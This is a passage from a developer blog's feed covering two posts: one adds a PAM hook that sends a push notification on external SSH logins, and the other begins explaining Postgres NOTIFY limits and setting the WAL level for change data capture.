&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;PAM_TYPE&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;open_session&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;-n&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;PAM_RHOST&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[[&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;!&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;PAM_RHOST&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;172&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;192&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;168&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;]]&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;then&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;curl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-s&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;-F&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;token=YOUR_APP_TOKEN&quot;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;-F&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;user=YOUR_USER_KEY&quot;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;-F&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title=SSH Login&quot;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;-F&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;message=SSH login by &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;PAM_USER&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; from &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;PAM_RHOST&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; on &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;hostname&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;https://api.pushover.net/1/messages.json&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;fi&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script runs whenever an &lt;code&gt;open_session&lt;/code&gt; event occurs, which means that someone logged into my server through SSH. It ignores login attempts from Docker and other local services from the same machine or from the private network by filtering out IPs in the private ranges of &lt;code&gt;10.*.*.*&lt;/code&gt;, &lt;code&gt;172.16.*.*&lt;/code&gt;, and &lt;code&gt;192.168.*.*&lt;/code&gt;. If an SSH session was started from an external IP, it sends me a message through the Pushover API, which has a generous free plan.&lt;/p&gt;
&lt;p&gt;To enable the script, we need to make it executable with:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;chmod&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;+x&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/opt/ssh-notify.sh&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then we need to add it to our &lt;code&gt;PAM&lt;/code&gt; ssh config with:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;session optional pam_exec.so /opt/ssh-notify.sh&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/etc/pam.d/sshd&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, when I open an SSH session with my server, I receive the following notification on my phone within seconds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/ssh-pushover/pushover-message.jpeg&quot; alt=&quot;A screenshot of the Pushover message on my phone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nice, it works! &lt;em&gt;&quot;But why?&quot;&lt;/em&gt; you might ask.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-pam&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-pam&quot;&gt;&lt;/a&gt;The PAM&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Linux_PAM&quot;&gt;PAM&lt;/a&gt; is a suite of &lt;code&gt;Pluggable Authentication Modules&lt;/code&gt; that handle authentication and session management across various services. It allows us to add scripts as &quot;hooks&quot; to specific services, all of which can be found in &lt;code&gt;/etc/pam.d/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The Linux PAM modules manage &lt;strong&gt;who&lt;/strong&gt; can log in, &lt;strong&gt;how&lt;/strong&gt; they can log in (e.g. password, ssh key), and &lt;strong&gt;what happens&lt;/strong&gt; when they open or close a session.&lt;/p&gt;
&lt;p&gt;By adding our script under &lt;code&gt;/etc/pam.d/sshd&lt;/code&gt;, PAM will execute it whenever an SSH session opens or closes, hence the &lt;code&gt;if&lt;/code&gt; condition on &lt;code&gt;&quot;$PAM_TYPE&quot; = &quot;open_session&quot;&lt;/code&gt;. We made the script &lt;code&gt;optional&lt;/code&gt;, so the session will still open even if our script fails. We don&apos;t want Pushover to block our SSH sessions if it has an outage for example.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/send-pushover-message-for-ssh-logins"/>
    <id>https://peterullrich.com/send-pushover-message-for-ssh-logins</id>
    <title>Monitor SSH Logins with Push Notifications</title>
    <updated>2026-03-14T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome back, friends!&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Did you hear the news about the inventor of the Knock-Knock joke?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;He got a No-bell prize.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright, this post will be a bit longer since we&apos;ll dive deeply into the Postgres WAL and will explore how to listen for database changes through it.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Let&apos;s say you want to react to changes in your Postgres database, for example to send out realtime notifications or to track the changes in an audit log. You consult Google (or let&apos;s be honest: your favorite LLM) and learn about &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-notify.html&quot;&gt;NOTIFY/pg_notify&lt;/a&gt; and &lt;a href=&quot;https://peterullrich.com/listen-to-database-changes-with-postgres-triggers-and-elixir&quot;&gt;triggers&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#notifypg_notify&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;notifypg_notify&quot;&gt;&lt;/a&gt;NOTIFY/pg_notify&lt;/h3&gt;
&lt;p&gt;You decide to try &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-notify.html&quot;&gt;pg_notify&lt;/a&gt; on a small, not so active database table. It works! Great.&lt;/p&gt;
&lt;p&gt;You roll it out to a larger, much more active database table. It works, but suddenly your query times explode! Instead of doing 1 million transactions per second* you can now do only 3 (&lt;em&gt;*These numbers were exaggerated for dramatic effect&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;So, what happened?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The problem with Postgres&apos; &lt;code&gt;NOTIFY&lt;/code&gt; is that all notifications go through a single queue!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Even if you have 20 database connections making 20 transactions in parallel, all of them need to wait for their turn to lock the notification queue, add their notification, and unlock the queue again. This creates a bottleneck especially in high-throughput databases.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pg_notify&lt;/code&gt; also has other limitations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Its notification size is limited to &lt;code&gt;8000 bytes&lt;/code&gt;. This might not be enough to send all the data in the notification and you&apos;ll need to query the database for the full dataset which adds additional load to your database.&lt;/li&gt;
&lt;li&gt;It does not wait for an acknowledgment of the listener and does not retry messages which means if your listener is dead or can&apos;t receive the message, the notification is lost.&lt;/li&gt;
&lt;li&gt;If you call &lt;code&gt;pg_notify&lt;/code&gt; or &lt;code&gt;NOTIFY&lt;/code&gt; inside a trigger, it will get called 100,000 times and send out 100,000 notifications if you change 100,000 rows in a single transaction which from a performance perspective is ... not ideal.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You realize that &lt;code&gt;pg_notify&lt;/code&gt; doesn&apos;t work for you. But there must be another way, right?&lt;/p&gt;
&lt;p&gt;There is and it&apos;s called the Postgres &lt;a href=&quot;https://www.postgresql.org/docs/current/wal-intro.html&quot;&gt;Write-Ahead Log (WAL)&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-wal-&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-wal-&quot;&gt;&lt;/a&gt;The WAL 🐳&lt;/h2&gt;
&lt;p&gt;In short, the &lt;a href=&quot;https://www.postgresql.org/docs/18/runtime-config-wal.html&quot;&gt;WAL&lt;/a&gt; is a log of every change to your database. Every transaction must save its changes to both the WAL and the data pages, or it will be rolled back.&lt;/p&gt;
&lt;p&gt;The WAL&apos;s main benefit is that it lets Postgres delay writing data pages to disk after a transaction finishes. Without the WAL, Postgres would have to save all changes to disk right after a transaction completes. If it didn&apos;t and the system crashed, the changes would be lost.&lt;/p&gt;
&lt;p&gt;With the WAL, Postgres only needs to write one file to disk (the WAL) and can wait to write the data pages later. If a crash happens, it can recreate the data pages from their latest version on disk and the changes tracked in the WAL. This significantly reduces the writes to disk, which are slow compared to changing a row in memory, and it allows Postgres to support much higher transaction throughputs.&lt;/p&gt;
&lt;p&gt;The WAL allows Postgres to support a range of other functionalities as well like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Database replication&lt;/strong&gt; - replaying the WAL&apos;s changes on a follower database is the most common method for creating database replicas&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Online/streamed backups&lt;/strong&gt; - following the WAL means you can have database backups that are always up-to-date. Without the WAL, you&apos;d need to take snapshots at a high frequency and would still miss the latest changes!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Point-in-time recovery (PITR)&lt;/strong&gt; - did you ever wonder how a database provider can rebuild your database at a specific point in time? By recording the WAL and rebuilding your database based on its changes up to that time!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Data Capture (CDC)&lt;/strong&gt; - the WAL enables listening to database changes in real-time, which is what this post is all about! You can use it to send notifications and maintain audit logs, all without having to change your application code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, let&apos;s see how we can listen to the WAL using Elixir.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#previous-art&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;previous-art&quot;&gt;&lt;/a&gt;Previous Art&lt;/h2&gt;
&lt;p&gt;The following code was heavily inspired by &lt;a href=&quot;https://github.com/filipecabaco/postgres_replication/blob/main/lib/postgres_replication.ex&quot;&gt;this exploration&lt;/a&gt;, written by my friend &lt;a href=&quot;https://www.linkedin.com/in/filipecabaco&quot;&gt;Filipe Cabaço&lt;/a&gt;, who nerd-sniped me into this topic, which caused me to write about it, which eventually forced you to read about it! So, now you know who to blame if you&apos;re unhappy with this post ;-)&lt;/p&gt;
&lt;p&gt;Also, a warning that the following code wasn&apos;t tested in production. See &lt;a href=&quot;https://github.com/supabase/realtime/blob/7f28e0fbe7f13f144ab57f123ef50aa67c94449d/lib/realtime/tenants/replication_connection.ex&quot;&gt;Supabase&apos;s Realtime&lt;/a&gt; repo for a production-ready solution (and blame Filipe for any bugs who has written a large chunk of it).&lt;/p&gt;
&lt;p&gt;I&apos;ll introduce the solution piece-by-piece but you can find the complete and final version on &lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/main/wal/lib/wal/replication.ex&quot;&gt;my GitHub&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-database&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-database&quot;&gt;&lt;/a&gt;The Database&lt;/h2&gt;
&lt;p&gt;Creating a listener for the WAL requires a few steps. The first is to configure your Postgres database to store &lt;code&gt;logical&lt;/code&gt; WAL records as well. We will do that by setting the &lt;code&gt;wal_level&lt;/code&gt; of your database.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.postgresql.org/docs/18/runtime-config-wal.html#RUNTIME-CONFIG-WAL-SETTINGS&quot;&gt;wal_level&lt;/a&gt; is similar to a log level and it determines how much information is written to the WAL.&lt;/p&gt;
&lt;p&gt;By default, it is set to &lt;code&gt;replica&lt;/code&gt; which stores enough information to replicate the database, recover lost state after a crash, and enable point-in-time recovery. It balances overhead with functionality and serves well as a default.&lt;/p&gt;
&lt;p&gt;If you don&apos;t need the functionality of the &lt;code&gt;replica&lt;/code&gt; level, you can set your database to track only &lt;code&gt;minimal&lt;/code&gt; records. This level supports crash recovery, but not database replication or point-in-time recovery. It is faster than &lt;code&gt;replica&lt;/code&gt; though.&lt;/p&gt;
&lt;p&gt;For our use-case, we need the third level, &lt;code&gt;logical&lt;/code&gt;. This level stores the same data as &lt;code&gt;replica&lt;/code&gt; but also tracks changes in a more high-level format of &lt;em&gt;what&lt;/em&gt; changed (e.g. &quot;a row with these values was inserted into this table&quot;) rather than &lt;em&gt;how&lt;/em&gt; it changed (e.g. &quot;these bytes were written to this page&quot;). It can lead to significantly more overhead, especially if you configured tables with &lt;code&gt;REPLICA IDENTITY FULL&lt;/code&gt; or make many &lt;code&gt;UPDATE&lt;/code&gt; or &lt;code&gt;DELETE&lt;/code&gt; calls, so keep an eye on your database usage levels after changing the &lt;code&gt;wal_level&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#side-note&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;side-note&quot;&gt;&lt;/a&gt;Side-note&lt;/h4&gt;
&lt;p&gt;If you read up on the WAL, you might encounter the topic of &lt;code&gt;physical&lt;/code&gt; vs &lt;code&gt;logical&lt;/code&gt; database replication. These terms are related to the &lt;code&gt;wal_level&lt;/code&gt; but are not exactly the same.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Physical&lt;/code&gt; replication means to replicate a database byte-by-byte based on the &lt;code&gt;replica&lt;/code&gt; WAL records. These records track low-level operations like removing stale objects (e.g. &lt;code&gt;VACUUM&lt;/code&gt;) or updating indices (e.g. &lt;code&gt;INSERT_LEAF&lt;/code&gt;) as well as the &lt;code&gt;INSERT&lt;/code&gt; etc. operations that actually change the data. If you replicate a database &quot;physically&quot;, it means that your replica database will perform the exact same actions (e.g. removing old WAL records) as the primary database which gives you as close to a &quot;physical&quot; copy of the original database as possible.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Logical&lt;/code&gt; replication means that your replica database only applies the high-level &lt;code&gt;logical&lt;/code&gt; WAL records to its state but does its own housekeeping like vacuuming or creating indices. This doesn&apos;t give you a perfect clone which is always in exactly the same state as your primary database, but it gives you a copy of the data.&lt;/p&gt;
&lt;p&gt;Both replication types have their trade-offs. &lt;code&gt;Physical&lt;/code&gt; replication is faster and creates a perfect byte-for-byte copy. However, it requires the replica to run the same Postgres version and architecture as the primary. &lt;code&gt;Logical&lt;/code&gt; replication works across different Postgres versions, lets you replicate only specific tables, and allows the replica to have different indexes or even additional tables. But it comes with more overhead and requires the &lt;code&gt;logical&lt;/code&gt; wal_level which stores more data in the WAL. It also requires you to run migrations against the replica database yourself since it does not replicate changes to the database structure.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Now, back to the &lt;code&gt;wal_level&lt;/code&gt;. Let&apos;s first change the &lt;code&gt;wal_level&lt;/code&gt; of our database to &lt;code&gt;logical&lt;/code&gt;. Open up an editor connection to your database and run:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;-- Check the current level&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;SHOW&lt;/span&gt; wal_level&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;-- Change the level to &amp;#39;logical&amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ALTER&lt;/span&gt; SYSTEM &lt;span style=&quot;color: #ff7b72;&quot;&gt;SET&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;wal_level&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;logical&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You need to restart your database for the configuration to take effect. Once it&apos;s restarted, you can check the &lt;code&gt;wal_level&lt;/code&gt; with:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;SHOW&lt;/span&gt; wal_level&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It should now return &lt;code&gt;logical&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#ci-and-docker-configuration&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;ci-and-docker-configuration&quot;&gt;&lt;/a&gt;CI and Docker Configuration&lt;/h3&gt;
&lt;p&gt;If you run Postgres using Docker, you need to add a startup command to configure the &lt;code&gt;wal_level&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;services&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;postgres&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;postgres:18&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;postgres&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;wal_level=logical&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In your CI, you can start the database like this:&lt;/p&gt;
